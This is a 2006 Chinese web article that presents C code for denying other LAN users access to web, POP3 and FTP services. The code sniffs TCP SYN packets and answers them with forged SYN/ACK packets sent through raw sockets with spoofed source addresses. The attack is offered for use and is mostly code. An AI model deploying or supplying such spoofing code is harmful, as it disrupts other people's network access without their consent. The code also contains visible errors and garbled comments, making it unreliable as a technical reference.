分享
 
 
 

伪造IP包,禁止TCP连接

王朝vc·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

大家是否想过在局域网内如何禁止别人访问web server,pop3,ftp等。那么如何禁止呢?大家都知道TCP是面向连接的,连接时有三次握手,之后才能确认连接成功。那么我们就应该能在第一次握手之后伪造一个服务方的握手返回,从而达到TCP连接不成功,无法访问某端口。程序如下:

void DeCodeIP(buf,iBufSize) //解析侦听到的IP数据包

{

IPHEADER * pIPhdr;

TCPHEADER * pTCPhdr;

pIPhdr=(IPHEADER * )buf;

//获得TCP header的起始位置

int iIphLen = sizeof(unsigned long) * (pIPhdr->h_lenver & 0xf);

pTCPhdr = (TCPHEADER* )(buf+iIphLen);

//判断是否为第一次握手IP数据包,pIPhdr->th_flag=2 即("-s----")

if (iBufSize==48) && (pIPhdr->iProtocol==IPPROTO_TCP) && (pIPhdr->th_flag==2)

sendTCP_SYNACK(szDestIP,szSourceIP,pTCPhdr->destPort,pTCPhdr->srcPort,pTCPhdr->seq);

}

void sendTCP_SYNACK(char * szSrcIP, char * szDestIP,unsigned short srcPort,unsigned short destPort,unsigned int iAck)

{

int iErrorCode;

SOCKET s;

IP_HEADER ip_header;

TCP_HEADER tcp_header;

PSD_HEADER psd_header;

struct sockaddr_in remote;

char * ptr=NULL;

//创建socket

s=socket(AF_INET, SOCK_RAW, IPPROTO_IP);

if (CheckSockError(s, "socket-tcp"))

return FALSE;

BOOL bOpt = TRUE;

iErrorCode = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));

if (CheckSockError(iErrorCode, "setsockopt-TCP"))

{

closesocket(s);

return FALSE;

}

//---end-

//伪装连接

unsigned short iTotalSize=44;

unsigned short iTCPSize=24;

char *sendBuf=new char[iTotalSize];

ip_header.h_lenver=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));

//高四位版本号,低四位首部长度

ip_header.total_len=htons(iTotalSize); //16位总长度

ip_header.tos=0;

ip_header.ident=htons(17393); //16??±êê?

ip_header.frag_and_flags=0; //3??±ê????,13??offset

ip_header.ttl=57; //8??éú′?ê±??TTL

ip_header.proto=IPPROTO_TCP; //8??D-òé(TCP,UDP?-)

ip_header.checksum=0; //16位校验和

ip_header.sourceIP=inet_addr(szSrcIP); //32位远地址·

ip_header.destIP=inet_addr(szDestIP); //32位目的地址·

ip_header.checksum=checksum((USHORT *)&ip_header,20);

//填充TCP首部

tcp_header.th_sport=htons(srcPort); //源端口

tcp_header.th_dport=htons(destPort); //目的端口

tcp_header.th_seq=htonl(0x581A784D); //SYN序列号

tcp_header.th_ack=htonl(iAck+1); //应答序号

tcp_header.th_lenres=(iTCPSize/sizeof(unsigned long)<<4|0); //TCP长度和保留位

tcp_header.th_flag=0x12; //SYN 标志

tcp_header.th_win=htons(65535); //窗口大小

tcp_header.th_urp=0; //紧急指针

tcp_header.th_sum=0; //校验和

//填充TCP伪首部(只用于生成校验和)

psd_header.saddr=ip_header.sourceIP;

psd_header.daddr=ip_header.destIP;

psd_header.mbz=0;

psd_header.ptcl=IPPROTO_TCP;

psd_header.tcpl=htons(iTCPSize);

ZeroMemory(sendBuf,iTotalSize);

//计算tcp校验和,包含伪TCP header

memcpy(sendBuf,&psd_header,sizeof(psd_header));

ptr=sendBuf+sizeof(psd_header);

memcpy(ptr,&tcp_header,sizeof(tcp_header));

ptr=sendBuf+sizeof(psd_header)+sizeof(tcp_header);

*ptr=(char)0x02;*(ptr+1)=(char)0x04;*(ptr+2)=(char)0x05;*(ptr+3)=(char)0xb4;

tcp_header.th_sum=checksum((USHORT *)sendBuf,sizeof(psd_header)+24);

ZeroMemory(sendBuf,iTotalSize);

//填充发送缓冲区

memcpy(sendBuf,&ip_header,sizeof(ip_header));

ptr=sendBuf+sizeof(ip_header);

memcpy(ptr,&tcp_header,sizeof(tcp_header));

ptr=sendBuf+sizeof(ip_header)+sizeof(tcp_header);

*ptr=(char)0x02;*(ptr+1)=(char)0x04;*(ptr+2)=(char)0x05;*(ptr+3)=(char)0xb4;

remote.sin_family = AF_INET;

remote.sin_port = htons(destPort);

remote.sin_addr.s_addr = inet_addr(szDestIP);

iErrorCode = sendto(s, sendBuf, iTotalSize, 0, (SOCKADDR *)&remote, sizeof(remote));

CheckSockError(iErrorCode, "SYNACK sendto");

//伪装关闭连接

iTotalSize=40;

iTCPSize=20;

// end--------

closesocket(s);

delete[] sendBuf;

return TRUE;

}

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有